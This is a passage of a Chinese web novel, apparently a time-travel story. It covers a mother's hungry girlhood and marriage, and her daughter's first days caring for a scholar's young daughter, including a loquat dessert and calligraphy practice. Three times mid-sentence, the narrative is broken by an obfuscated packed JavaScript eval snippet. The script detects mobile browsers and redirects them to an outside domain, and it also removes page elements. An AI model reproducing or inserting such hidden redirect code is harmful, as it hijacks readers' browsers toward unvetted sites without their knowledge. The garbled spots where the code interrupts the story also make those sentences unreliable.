张金花越长大,就越成为他们中的一员。 张金花也无暇给予弟妹更多的温情。有时,她也会觉得他们可怜,于是会用她小小的权力,给哪个身体弱的、受委屈的孩子多舀一勺粥,但也到此为止了。她实在没有更多的力气,来把他们抱在怀里安慰,或轻声细语地讲道理。 而且,她也饿。她还有那么多的活儿要做,起早贪黑也做不完。她总得自己先吃饱。 张金花大了,村里的男孩子就常常来招惹她。他们往她身上丢恶心的虫子,远远地念嘲笑她的顺口溜。 张金花知道,他们根本不讨厌她,恰恰相反,他们喜欢她,因为她漂亮、能干。但那又如何呢?他们的爹娘交口称赞她勤劳肯干,但他们并不乐意有个穷亲家,更何况还拖着那么多嗷嗷待哺的娘家弟妹。 正好,张金花也不喜欢他们。 张金花不想嫁个穷人家。那意味着,她依然需要起得比鸡早、睡得比狗晚,一边争分夺秒地在田地里耕耘,一边洗衣做饭、缝缝补补,然后生一窝因为吃不饱而整天哭闹不止的孩子,忍受着腰背疼痛、垂到腹部的乳/房,一直到疲劳地死去。 她把虫子丢回去,向嘲笑她的男孩子扔石头。 嫁到河头县的堂姑回村探望娘家,她说,河头县有一户姓陈的人家,想找个媳妇,不拘家境贫富,人品好、身体好就行。村里的三姑六婆都围过去了,村里人都觉得河头县是个好地方,女孩儿能嫁过去,那可是扎扎实实的好命。 她们追着堂姑问,那家人几口兄弟、做什么营生、公婆好相与吗? 堂姑说,独生子,没有兄弟姐妹,以后家产都是他一个人的。 那好呀!围着的女人们更起劲儿了。 堂姑说,是个小生意人,挣得可多,每年过年都回家。 女人们有些踌躇了。男人一年才回一趟家,这不成守活寡了么?但是话又说回来,守活寡也有守活寡的快活之处,好多妇人与男人朝夕相对,比寡妇还可怜呢。 堂姑说,只是有一件不好,他爹身子不好,半年前得了卒中之症,不过如今好多了,吃饭解手自己都做得来,也就话说得不大好。 女人们面面相觑。卒中之症么,常有老人得,不稀罕。只是这男人的爹虽说是大好了,但得了卒中的人,往往复发的居多,儿孙们辛辛苦苦伺候着,好容易能站起来走两步了,保不齐哪天又复发了;复发了,两脚一蹬死了倒轻松,难的是往床上一躺、迟迟不死,要人把屎把尿,拍不完的痰、洗不完的床单褥子,儿孙们尽孝尽得形容憔悴,常有互相推诿,闹得阖家鸡犬不宁的。这家人偏偏又只有一个出门在外的儿子,做婆婆的,可不得使劲儿磋磨这仅有的一个媳妇么?把女儿嫁到这样的人家,岂不是等同把女孩儿往火坑里推! 女人们支支吾吾,客套了几句,说些一定帮着留意的空话,渐渐地都散了,只剩堂姑一个人。堂姑独自嗑着南瓜子,感到有些无趣。 一直在角落里喂妹妹吃稀粥的张金花忽然张口,问堂姑:“能吃饱吗?” 堂姑愣了一下,问:“什么吃饱,你说啥?” 张金花说:“堂姑,你刚刚说的那户人家,嫁过去能吃饱吗?” 堂姑忙说:“哦哦哦,能能能,不止能吃饱,还能吃上鸡蛋呢,他家喂了两只鸡。” 张金花说:“那就行了,我愿意嫁过去。” 堂姑回河头县告诉了陈家娘,陈家娘立马提了鸡蛋来村里看张金花。届时张金花那时正挑着一桶粪要下地呢,陈家娘见了她,笑得堆起一脸褶子。张金花知道,陈家娘是满意她能吃苦。 爹娘原本不愿意张金花这么早出嫁,但陈家娘提了一个彩礼的数,他们立马收起了不满,甚至开始笨拙地溜须拍马了。 反正二女儿已经长大,可以接替大女儿了。 临分别前,张金花向陈家娘提了一个条件:要先去河头县的陈家看一看。陈家娘一口答应,说没问题,我儿子不在家,也没啥好忌讳的。 当天,张金花就跟着陈家娘去了河头县。 张金花十七岁了,还是第一次进城,眼睛都看直了——路面都是平整的,也没有粪味儿;路上小摊小贩,卖什么的都有;行人个个衣冠整洁,即使老人也身姿挺拔,不似乡下人,指甲缝里总沾着洗不净的泥,四十来岁背就弓如河虾,怎么也挺不直。 陈家娘绕进一个巷口有棵大榕树的巷子,带张金花进了陈家的房子。房子是青砖砌的,大大的堂屋,足足有六间屋子,厨房后还有一间大堆房;院子不大,后院种了些菜,前院养了两只鸡。 陈家娘替她收拾屋子,说这间房从前是孩子他爷爷奶奶住的,如今空着,你将就住一晚。在家里,张金花同四个妹妹挤一张大通铺,夜里这个的腿那个的手胡乱架在别人身上,要翻身都难。如今这么大一个房间,只住她一个人;陈家娘把垫絮铺得厚厚的,她从来没有睡过那么软的床。 在柔软宽敞的大床上,张金花沉沉睡去。迷迷糊糊间,她好像被一朵云托着,越升越高、越升越高,渐渐地被许多云包围着,云朵的缝隙间透出柔和的光,照得她暖洋洋的。忽然,一个声音说:“金花,饭还没做好吗?”她慌忙找声音的来源,一回头,发现爹娘就坐在她身后那朵云上—— 张金花惊醒了。她睁开眼,看见满屋陌生的陈设,又摸摸身上的被子,莫名流下泪来。 第二天,张金花早早就醒了。在家时,一日三餐都归张金花管,因此她为了做早饭,总是第一个起床;如今在陈家,她不必做早饭,但习惯使然,醒了以后也再睡不着了。 推开房门,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117778|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见厨房里传出声音,是陈家娘在做早饭。张金花寒暄道,起这么早哪?陈家娘笑笑说,昨天回来得太晚,晚饭吃得随便,今天你回家,我想着早饭怎么也得做丰盛些,好好招待你,否则太说不过去。 昨晚吃的是挂面,陈家娘特意往张金花那碗卧了两个鸡蛋。 精面和鸡蛋,张家逢年过节才能吃上一回的东西,在陈家眼里叫随便! 张金花要给陈家娘打下手,陈家娘连连推辞,说不能让客人沾手。张金花一再坚持,她才松了口。 张金花并非要在陈家妈面前展现自己的乖觉。 她打开橱柜拿碗盘时,她看见篮子里还装着约莫两三斤的挂面;揭开米缸舀米时,里面的大白米满满当当。 她要确信,这些食物不是诱饵,而是真实的、肉眼可见的未来。 洗过米和菜,陈家娘就把张金花赶去洗漱,不要她再插手。张金花洗漱完毕,陈家娘说,好啦,开饭啦。 桌上摆着一碗土豆红烧肉、一盘蒸腊肠、一个切开的咸鸭蛋、一盘青菜。陈家娘去伺候陈家爹起床吃饭的时候,张金花她忍不住凑上去闻每一道菜,闻得舍不得呼气,只觉胃肠中馋虫翻滚,对食物的欲望忽然被无限放大,简直想要立即上手拣一块来吃。 陈家爹坐上桌,和蔼地同她问好,问些家里情况。张金花听着费劲,但也耐心一一答了。 诚如堂姑所说,陈家爹说话说不清楚,左半边身子不大灵活,别的倒都还好。 吃饭时,张金花不好意思夹红烧肉,在家里,过年烧一碗肉,要掺着萝卜青菜吃到正月十五。她只一个劲儿地夹土豆。 土豆是手心一般大的小土豆,每个削皮切作两半,十分软糯。陈家娘烧的红烧肉,收汁没有收干,留了半碗的汤。炖了快一个时辰,肉已经炖得相当软烂,肉香早已融进汤中;加上土豆,相当于勾了一层薄芡,汤汁愈加浓郁。张金花每夹起一块土豆,上面都裹了满满的汤汁,放在米饭上,饭也沾了红烧肉的香。 张金花埋头苦吃,香得头都抬不起来。 她一个劲儿地吃土豆,只是不夹肉,土豆都见底了,硬是从肉堆里找土豆出来吃。陈家娘见了,看不过眼,另抽了一双筷子,挑了好几块肥瘦相间的好五花肉到张金花的碗里。 张金花推辞不过,只好夹起来吃了。天老爷,肉怎么会这么好吃?张金花家里不是没吃过肉,过年了桌上总要摆些荤菜,只是多半是腊肉,或是便宜些的坐臀肉、槽头肉,总是瘦而柴的。而桌上这碗红烧肉,肥瘦相间,肉质鲜嫩,肥肉入口即化,瘦肉嚼起来口齿生香。 伴着土豆和陈家娘给夹的几块肉,一大碗饭很快见了底。张金花终于放下碗,抬起头,看向陈家娘。 陈家娘看她这样子,知道她在家恐怕连吃饱也难,心里怜惜,说:“好孩子,饭有的是,肉也还有,再多吃些。” 谁料,张金花站起来,后退一步,扑通一下,朝着陈家二老跪下了。 陈家娘吓了一跳:“我的儿,这是干什么?快起来。” 张金花磕了个头,说:“我那个家,算不得家。您二老好心,愿意给我个家,有用得着我的地方,我把您二老当我的亲爹娘,尽心尽力,绝没有一个不字。” 5. 新晋打工人 奶奶说:“就这样,你娘成了我们家的媳妇。再然后,就生了你哥和你。” 陈瑞安听得瞠目结舌、心潮澎湃。她没想到,娘居然还有这样的过往。张金花从来不提起从前的事,孩子们也曾好奇问起来,她就说,吃没得吃、穿没得穿的,净是些苦日子,有什么好说的?哪像你们现在过的这么舒服。 除了那个后来被扫地出门的堂姑,张金花也从来不与娘家人联系。邻居问起来,她就说离得太远,何况这边两个老人、两个孩子,桩桩件件的事情,离不开人。嫁出去的女儿泼出去的水么,家里的事原也轮不到出嫁女来管,邻居们也并不见怪。 如今想来,离开了那个家,张金花合该放鞭炮庆祝才对,又岂会自讨苦吃,再去过问! 在陈瑞安心目中,娘亲张金花是天下第一等想得开的人。爱吃爱玩,有气就撒,有火就骂,从不庸人自扰,也绝不会让别人在自己这里讨得一点便宜。 陈瑞安没有想到,少女时期的张金花,居然承受着如此巨大的苦闷,而又如此勇敢! 许多从前没有想明白,朦朦胧胧的事情,陈瑞安这才恍然大悟。正因为张金花自己小时候干了太多的活、吃了太多的苦,她不舍得让孩子们同她一样,把童年都埋没在这些繁重的家务里。所以,即使家里的家务多得做不完,她宁肯自己少歇一会儿、多做一点,也不肯让孩子们插手。也正因此,堂姑说那样的话的时候,她才会如此生气。 这次的事情也是一样。娘不希望陈瑞安去苏先生家照顾苏小姐,并不是觉得丢人,而是不愿意她早早为了补贴家用而辛劳,不希望她重蹈自己的覆辙啊! 奶奶的一番话,搅得陈瑞安百感交集,低着头想心事,越想越不是滋味。再抬头时,才发现头发不知何时已经晒干,奶奶更是早已回屋看顾爷爷去了,如今夕阳西下,已经快到吃晚饭的时间。 陈瑞安在厨房找到娘,从背后一把抱住她,头深深地埋在她的颈窝里。不知何时,自己已经比娘还要高了。 张金花正把菜盛到盘子里,给陈瑞安这忽然的一抱吓了一跳:“干嘛呢?” 陈瑞安拿头蹭了娘两下:“表达对您的爱。” 张金花摸不着头脑,忍不住笑出来:“莫名其妙。” 陈瑞安说:“奶奶刚才跟我说了您年轻时候的事情。” 张金花顿了一会儿,才说:“老娘现在也年轻得很。” 陈瑞安说:“娘,好娘。您的苦心我都知道,您都是为了我好。但是舒家呢,我还是要去。其一呢,我今天去见了舒先生,情况我都了解了,这份工作一点儿都不累,什么粗活重活都不用干,就是陪一个七岁的小孩玩儿,我应付得来。其二,您看我天天在家闲着,也无非是招猫逗狗地荒废掉了,如今舒小姐做功课,我在一旁陪着,也能跟着学到一些东西,从前我跟哥哥学认字,您不是很高兴吗?这么好的事情,居然还能赚钱,一个月有整整两贯呢!何乐而不为呢?” 张金花叹了口气:“我上次在夜里洗衣服,听见有什么老鼠似的东西,我一回头就窸窸窣窣地跑了,是你吧?” 陈瑞安嬉皮笑脸地说:“是我,我是大老鼠。确实也有这方面的原因,毕竟,您是家里的顶梁柱嘛!把您累坏了,我怎么办,爷爷奶奶怎么办呀?我可不能让这种事情发生,不然爹回来,该骂我和哥了。” 说着,陈瑞安感觉有什么湿湿热热的东西淌到脸上,伸手一摸,原来是张金花的眼泪。 张金花女士铁骨铮铮,陈瑞安何时见她哭过?她忙不迭地用袖子去给娘擦眼泪,一面自己也忍不住落下泪来。母女二人泪眼婆娑,四目相对,都觉得心里酸酸涩涩,而又沉甸甸地安心。 陈瑞安握着张金花的手,说:“娘,我跟哥一定会让你过上好日子的。” 张金花一把把她的手打掉:“闭嘴,不许说了。吃饭。”说着,打瓢水抹了一把脸,端菜上桌去了。 陈瑞安痛地龇牙咧嘴,只好安慰自己,打是亲骂是爱,爱到深处用脚踹。 翌日,新打工人小陈早早起床,小跑到了舒家的宅子。 刘婶一边鼻子不是鼻子、眼睛不是眼睛地替陈瑞安开了门,一边吩咐道:“舒先生已经去学堂了,小姐还没起床呢。小姐住东厢房,你先去把她拎起来,帮她穿好衣服;然后拿上她架子上的盆,来厨房水缸里给她打洗脸水去,盯着她刷牙洗脸,她自己会洗,只是爱犯懒;面脂也给她抹上,在哪儿你问她;然后给她梳好头发,带到正房吃早饭。早饭我放在锅里热着,你好了叫我,我端去。” 刘婶不知有心无心,语速飞快,陈瑞安只好竖着耳朵听,一边连声应了,一边努力记下。 打工人小陈正式开始了一天的劳作。 刘婶叫她把舒青舒小姐“拎起来”,这个“拎”字实在用得传神。 舒小姐呼吸深沉而均匀,睡得很香甜,蜷缩在床的边缘,乖得如同一只小猫。陈瑞安轻手轻脚地走进舒小姐的房间,轻声呼唤:“青青,起床啦。” 舒小姐毫无反应。 陈瑞安轻轻摇了摇她的肩膀:“青青,太阳照屁股啦,该起来啦。” 舒小姐缩了缩。 陈瑞安戳戳舒小姐的小脸蛋,俯在她耳边:“青青~” 舒小姐哼唧了两声。 陈瑞安加大了音量:“青青!” 舒小姐眼睛睁开一条缝,惊喜地发现喊她起床的人居然不是刘婶,而是昨天刚认识的小姐姐,甜甜地喊道:“姐姐~” 陈瑞安:“诶。” 然后舒小姐翻了个身,继续睡过去了。 …… 最后,陈瑞安只好把舒小姐从床上整个扛起来,让她靠着床坐下,给她穿上衣服鞋子,再扶着她站起来——这才算把她“拎”起来了。 仅仅起床一项,陈瑞安感觉自己的能量已经被耗光,更不必提后面的刷牙洗脸梳头发了。七岁的孩子,简直像刚从水里捞出来的鱼,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117779|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓一出溜,一个没看住,不知道又跑到哪里去了。等把舒小姐伺候到了饭桌前,陈瑞安感觉自己像刚打完一场仗,这辈子都没这么累过。 早饭是白粥、外头买的胡饼、腌萝卜。最近米价面价高昂,能有精米精面吃,陈瑞安已经心满意足。 吃着早饭,刘婶端来一盘洗过的枇杷,说:“这是今早佃户送来的,说是城外山上摘的。山上的果子熟得晚些,这是今年最后一批枇杷了,吃完再也没有了。舒先生说给你们分着吃。” 舒小姐立马放下吃到一半的早饭,剥了一颗枇杷吃,评价道:“甜,比前几次的好吃。” 陈瑞安也拿了一颗。这盘枇杷一看就是好枇杷,大约是佃户精挑细选出来的,每一颗个头都很大,外皮也都没有损伤;色泽橙黄,可见已经很成熟,皮也是轻轻一撕就掉下来了;放进嘴里,尝起来肉质偏软,味道的确很清甜,汁水充足,果香也浓郁。 刘婶紧盯着陈瑞安吃完了这颗枇杷。陈瑞安给她盯得发毛,不敢再吃了,转而关照舒小姐:“吃小心些,别把核给吞进去了,卡住了不是玩的。你先把碗里的粥吃完,干脆枇杷叫刘婶拿回去,待会儿再拿给你当点心。” 舒小姐撇撇嘴:“不要拿走。这回的枇杷好吃,一会儿我要拿去给娘吃。” 刘婶不许:“夫人这些天咳嗽得厉害,我看是前几日贪凉,晚上坐在院子里吹风吹的,感了风寒。果子都是生冷的东西,夫人不能吃。” 这么热的天还能感上风寒,也真是奇事,舒先生说舒夫人身体不大好,难道就弱到这种程度? 陈瑞安忍不住问刘婶:“夫人嗓子痛不痛,有痰没有,是否流涕?” 刘婶答:“常说嗓子痛,有痰、流涕。” 陈瑞安接着问:“痰涕色黄还是色白?” 刘婶纳罕道:“色黄。你问这么多干什么,难道你还会做郎中不成?” 陈瑞安道:“算不上,我爷爷卒中说不清楚话,给他看病要看症状,我跟着学了一些。夫人不是染了风寒,你说的这些,恰恰是风热的症状,正该吃些辛凉解表、疏风散热的东西才对。” 刘婶将信将疑:“果真?” 陈瑞安见刘婶不信,接着问诊:“夫人是不是不仅不怕冷,还全身热重,微微出汗?” 刘婶这下服气了:“还真是!我还以为是因为天气太热,闷出的汗呢。” 舒小姐忙问:“那娘是不是可以吃枇杷?” 陈瑞安点点头:“可以。” 舒小姐欢呼,丢下饭碗,要把枇杷送给舒夫人。 刘婶急忙拦住:“还是不行。夫人脾胃虚弱,向来不吃凉的东西,也不喝凉水,否则便会腹痛腹泻。” 连凉水都不能喝!看来舒夫人的身体是真的不大好啊。 舒小姐很失望:“枇杷这么好吃,娘却不能吃……” 陈瑞安看得心软,说:“谁说不能吃?不能吃凉的,那把枇杷做成热的不就行了?” 6. 柳弱花娇大美人 刘婶皱起眉头:“枇杷做成热的,那怎么吃?” 陈瑞安胸有成竹:“反正我有办法。青青,等你把你碗里的粥和饼吃完,我就带你去做热枇杷吃。” 舒小姐从前进厨房,刘婶总是嫌她捣乱,把她赶回内院,搞得舒小姐愈发觉得做饭是件神秘又好玩的事。能和陈瑞安一起去厨房做一道从没听说过的热枇杷,舒小姐十分兴奋,三下五除二,很快把剩下的饭扒拉完了。 刘婶嘀咕道:“平日里叫你吃饭,总说不饿不饿,剩一堆,过会子又找我要点心。瞧瞧,这不是能吃完么?” 三人进了厨房,刘婶在前头带路,舒小姐自告奋勇在后面端着枇杷。 陈瑞安问刘婶:“冰糖在哪里?” 刘婶指给她:“就在你身后那个橱柜里,右面最上面一层。” 陈瑞安打开橱柜翻找冰糖时,见橱柜里还有许多干货,便拣了些能用的一起拿出来。 刘婶看了看她拿出来的东西,狐疑道:“银耳倒也罢了,枸杞和百合是我从前给夫人煮安神茶时,从药店抓来的,这也能用上么?你要给夫人抓副药不成?” “说是药呢,倒也不算错;说是点心,也对。”陈瑞安掂量着分量,择出一些银耳和干百合洗净泡发,“老祖宗说,‘药食同源’,食物本就有药性,药嘛,吃进嘴里的,其实也无非是一种特别的食物。我听郎中说,大米小麦这些顿顿都吃的粮食,尚且还记载在《本草纲目》里,能作药用呢。” 怕舒小姐过了新鲜劲儿无聊,陈瑞安便盯着她洗了手,要她跟着一起剥枇杷肉。舒小姐从《三字经》里学到过“香九龄,能温席;孝于亲,所当执”的道理,自认为能为母亲剥枇杷治病,也算一种“孝于亲”,很乐在其中。 刘婶一边剥枇杷,一边说:“做个点心,倒给你说得这么玄乎。我也懂这个,人大病初愈,要喝鸡汤、鱼汤,这叫滋补;暑天太阳毒,人容易上火发痧,就要吃些苦瓜,降火用的。是这个道理不是?” 陈瑞安笑道:“是,说得很对,刘婶很有天赋,该去做个女郎中。” 剥好的枇杷放在案板上,去核切块备用。 刘婶找出来一个煮药用的小炉子,取两块冬天没用完的炭点上,又寻了个汤盅架在上面,拿来煮糖水正正好。 陈瑞安往盅里加入适量水,倒入泡好的银耳、百合和冰糖,盖上盖子,煮至银耳微微起胶。看着差不多了,再揭开盅盖,加入枇杷果肉,直到把汤汁收得稠稠的,最后撒入一把枸杞,略煮片刻,舀一勺尝尝甜淡,就可以盛出装碗了。 一道枇杷百合炖银耳,装在青花小碗里,白是白、黄是黄,还有枸杞点缀的几星红色,煞是好看。银耳经过慢炖,变成半透明的胶状,晶莹剔透,铺在碗底;枇杷橙黄色的果肉,镶嵌在银耳之间,鲜亮而诱人。 “姐姐,你好厉害呀!我还从来没吃过这么漂亮的点心呢。”舒小姐端着小碗左看右看,越看越喜欢。 看起来小小的一个白瓷汤盅,盛出来倒足足有四个小碗。舒小姐和舒夫人一人一碗,再留一碗给舒先生,反正舒先生没有虚弱的肠胃,这糖水凉了也一样好吃。陈瑞安想了想舒先生让她和舒小姐“分着吃”的嘱咐,拿胳膊肘顶了一下刘婶,道:“还多出来一碗,一会儿咱们分着吃。” 刘婶分明喜欢得眼睛都快粘在这几碗炖枇杷上了,听了这话,硬板起脸来,道:“我不吃。主人家的东西,没有我做下人的吃了的道理。” 陈瑞安悄悄撇嘴。 舒小姐找来上菜用的木托盘,把两碗糖水和两个勺子放在上面,要亲自端去母亲的卧房,和母亲一起吃。 陈瑞安跟着舒小姐一起去送糖水,提防她端不稳摔了;刘婶留在厨房里善后。 舒小姐小心翼翼地端到舒夫人床窗前,远远就向舒夫人喊道:“娘!姐姐给你做了好吃的!” 舒夫人正歪在床上,手里还拿着一个绣绷,正在绣一条孩子穿的肚兜,听见声音,才抬起头,温柔地朝舒小姐笑。 陈瑞安还是头一回得见舒夫人,结结实实被惊艳了,自从穿越过来,她还从未见过这么美的女人。真真是柳弱花娇,顾盼生姿,人苍白而出尘,轻盈得如同一根羽毛,一双眼睛却温柔多情,长长的睫毛一扑闪,看得人心也醉了。舒小姐眉眼像舒先生,脸型和嘴唇却是来自舒夫人,下巴窄而尖,唇如仰月,线条柔婉。 舒夫人揽过舒小姐,叫她把托盘放到小茶几上,看了眼托盘,惊喜道:“啊!是枇杷。我有好些年都没有吃过枇杷了。上一次吃……那时青青恐怕还不会走路呢。” 美人的声音也好听,轻柔而微哑,拂得人心上痒痒的。 陈瑞安好容易才从欣赏美色中回过神,忙道:“枇杷止咳祛痰、银耳滋阴益气、百合养阴润肺、枸杞解热止咳、冰糖化痰祛火,这些东西都是对夫人的症的,夫人放心吃。” 舒夫人笑道:“原来你还有做药膳的才能。不必这么拘谨。我本姓孙,你叫我孙娘子——不,既然青青喊你姐姐,你叫我伯母就好。刘婶在外面喊我夫人喊得周到,其实私底下,还叫我的小名阿瑜呢。” 陈瑞安暗想,孙阿瑜,好听,像个美人的名字。 孙阿瑜问陈瑞安:“你几岁了?” 陈瑞安答:“满十三了。” 孙阿瑜点点头,说:“比青青大五岁。我身子虚弱,风吹不得、路走不得,平日里也就只能屋内绣绣花,多谢你帮我照顾青青。我们这附近住的人家少,没有同青青年龄相仿的小姑娘,刘婶和她父亲各自有事要忙,也没人能常带她出去逛逛。她整日闷在家里,也每个人能陪她玩,我见她孤孤单单,心里总觉得愧疚。如今有你来了,我总算放心些。” 陈瑞安赶紧说:“青青很听话,也不吵闹,好带的。” 孙阿瑜点头微笑,道:“这炖枇杷是你做的?真是好看,你手真巧,我只怕你太劳累了。” 陈瑞安道:“不劳累,青青还给我帮忙了呢。” 舒小姐早等不及,催孙阿瑜:“娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117780|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你快吃吃看,这个枇杷是我跟姐姐和刘婶一起剥的。” 孙阿瑜夸奖了舒小姐,拿起勺子,舀了一勺,送入口中细细品尝。 舒小姐迫不及待地问:“怎么样?” 孙阿瑜惊喜道:“很好吃。甜中带些微酸,清爽,可口;银耳和枇杷都炖得很软烂,很好入口。”又换个勺子喂了舒小姐一勺,道:“你试试吃。” 舒小姐吃进去一大口,还没咽下去,就连连点头,发出含糊的“好吃好吃”。 孙阿瑜问陈瑞安:“吃了这两碗,还有剩的么?” 陈瑞安答:“还有剩。夫人——不,伯母还要再吃一碗么?” 孙阿瑜摇摇头:“这一碗就足够了。青青人儿小,也不要给她多吃。剩下的,你同刘婶趁热分了吃,不必给你舒伯伯留,他回来时就该吃晚饭了。” 陈瑞安应下,心里又对孙阿瑜又多了几分好感。 等母女二人吃完,陈瑞安留舒小姐同孙阿瑜说话,自己把托盘和吃完的小碗端回了厨房。 刘婶还在洗碗,见陈瑞安进来,道:“拿过来,我一起洗。” 陈瑞安端过去,道:“伯母说了,剩下的让我们俩分着吃。” 刘婶冷哼一声:“你倒是喊得亲热。” 陈瑞安忙得有些累了,搬了把板凳自顾自地坐下,向刘婶道:“刘婶,不要这样嘛。” 刘婶明知故问:“哪样?” 陈瑞安道:“有我来了,您专心洗衣做饭,既轻松一些,又不必担心青青磕着碰着,您该高兴才是。青青呢,如今有我陪着她玩,她就不会像从前那般孤单了,她也开心。我能赚到钱,我也开心。如此,这该是一件皆大欢喜的大好事,您又何必总提防着我呢?” 刘婶嘴硬:“我可没有,这是你自己说的。” 陈瑞安决定打个直球:“其实您是觉得我来了,抢了您的活儿,让您觉得不那么被需要了,没错吧?” 刘婶一下子急了:“谁说的?你不要随便揣测别人。” 陈瑞安道:“青青说的。她刚刚洗脸的时候偷偷同我说的。”虽然她其实自己也看出来了,但舒小姐小小年纪就有如此洞察力,实在是个妙人儿。 刘婶哽住,不说话了。 陈瑞安接着开解:“您千好万好,毕竟是大人;我就算再比不上您,毕竟是孩子。青青总归是要同孩子玩的,这样才利于她的性格发展呀,您说是吧?” 刘婶依旧沉默,但背影隐约有些动容。 陈瑞安再接再厉:“我再说句多嘴的话,舒先生和伯母两个人,那对您真好比家里的亲长辈。舒先生上次同我说,您年纪大了,有什么费力气的事情,叫我力所能及地也搭把手。要我看,他们找我来,不是觉得您年纪大了没有用,实在怕把您累坏了,让我来给您搭把手的呀。” 刘婶还是不说话,只留给陈瑞安一个倔强的背影,但悄悄举起了袖子揩眼泪。 陈瑞安心满意足,功成身退,出去找舒小姐玩了。 7. 美好生活要靠劳动来创造 陪舒小姐写字是个费力活儿。 舒小姐每日要练十张大字、一张小字。大字是临摹颜体,小字写的是舒先生新近教她的《诗经》。 舒小姐爱练小字,因为写小字时可以念念有词地跟着读,“关关雎鸠,在河之洲”,都是押韵的,有趣儿,而且写的都是前一日新学的诗,新鲜;不爱练大字,因为舒先生要求她每天只练一个字,倘若舒先生回来一检查,认为还没有过关,隔日还得接着练。同一个字,写上十张,乃至二十张、三十张,多无趣啊! 今日,舒小姐写的是个“五”字,写得呵欠连天、唉声叹气。 每写完一张,舒小姐都要数一数,还剩多少张。一数,天哪,写了这么久,居然才写了四张!还剩六张要写,这可怎么熬呀! 舒小姐扁扁嘴,把笔一摔,不肯写了。 陈瑞安劝道:“接着写呀,早点写完,我们才能早点玩儿呢。” 舒小姐不开心:“但是我不想写了。” 陈瑞安循循善诱:“你现在不写,还剩六张在那里等着你,岂不是把时间都浪费在使性子上了,学也没有学到,玩也没有玩到,多划不来呀。” 道理都明白,但执行起来总是很困难。舒小姐灵机一动,用可怜的小眼神看向陈瑞安:“我们先玩,玩完了再写,好吗?在爹爹回来之前,我一定全都写完。” 陈瑞安严词拒绝:“不行。” 舒小姐终于不情不愿地铺上下一张宣纸,开始接着写字了。 陈瑞安鼓励她:“等你写完了,我们玩跳房子。” 舒小姐好奇地问:“什么是跳房子?” 陈瑞安想了想,道:“这样吧,你在这里写字,我去外面画格子,等画好了,我再对着格子给你解释。你快快写哦,不然等我画完了,你还没有写完,到时候看着格子干着急。” 找来一块木炭,陈瑞安开始在院子里画格子。先画一个大大的正方形作为起点,再在它的上面画两个一样大小的正方形,接着,在上面一排改为画两个横向相邻的正方形,如此单双相间,一共画了八个格子,最后在顶部加上一个半圆,跳房子的格子就画好了。按道理,应该在这一共九个方方圆圆的格子里依次填上数字1至9,但古代没有阿拉伯数字,陈瑞安就用汉字代替。 正专心填着数字,忽然一个声音在陈瑞安耳边响起:“姐姐,你的字写得太丑了!”陈瑞安吓了一跳,抬头一看,舒小姐不知何时跑了出来。 虽然字确实蛮丑的,但被一个七岁的小孩说字丑,陈瑞安还是觉得脸上有些发热。为了报复舒小姐的直言不讳,她明知故问道:“你的大字写完了?” 当然没有写完!舒小姐心虚,两只眼珠骨碌碌一转,开始转移话题:“你看看你的‘五’字,且不说什么侧锋藏锋了,你的横和竖分得那么远,都不连在一起,好像一个人的五官全部分得开开的,难看死了!” 陈瑞安忿忿不平道:“我都多少年没拿过笔了,还会写字就不错了,还讲究什么好看不好看的!字嘛,能认出来就行。” 从小受到书法教育的舒小姐完全不认同陈瑞安的实用论,抢过木炭来,要给陈瑞安示范。奈何地面不是宣纸,阻力太强;木炭也不是毛笔,写不出侧锋藏锋来。舒小姐写得着急,干脆把木炭一丢,把陈瑞安拽到屋里:“我有多余的笔,还有纸,我拿纸笔教你写。” 舒小姐先在自己练大字的纸上写了一个“五”字,说:“‘五’字里面有三横,第一二横短、第三横长,你的三横全部都很长,张得开开的,所以不好看。” 从前跟哥哥学认字的时候,陈瑞安也学写过几个字,因此倒还拿得来毛笔。只不过,穷人家的孩子读书,往往实用为上,字看得过眼就行,因此陈瑞平自己的字就很平平,更别提拿来教妹妹了。她握着笔,照着舒小姐说的,两横短、一横长,写了一个“五”字。 舒小姐检查她的字,失望地摇摇头,左看右看,终于又研究出一个毛病来:“我写的竖是斜的,这样横竖均匀,看起来才稳固优美;你写的竖都是直愣愣的,所以看着呆板。” 除了这些,舒小姐倾囊相授,把什么“中锋”、“藏锋”的技巧都教给陈瑞安,陈瑞安满头大汗地跟着学。 舒小姐示范着,不知不觉间,竟把自己的十张大字都写完了,犹未教过瘾,还多写了几张。 忽然听见刘婶在外面说话,陈瑞安抬头一看,才发现舒先生竟提前散学回来了。 陈瑞安又低头看看被自己的丑字糟蹋了的几张纸,方才想到纸和墨都不便宜,她陪小孩做功课,自己反倒玩上了,颇有些不合适。 然而要藏也来不及了,舒先生已经走进来。 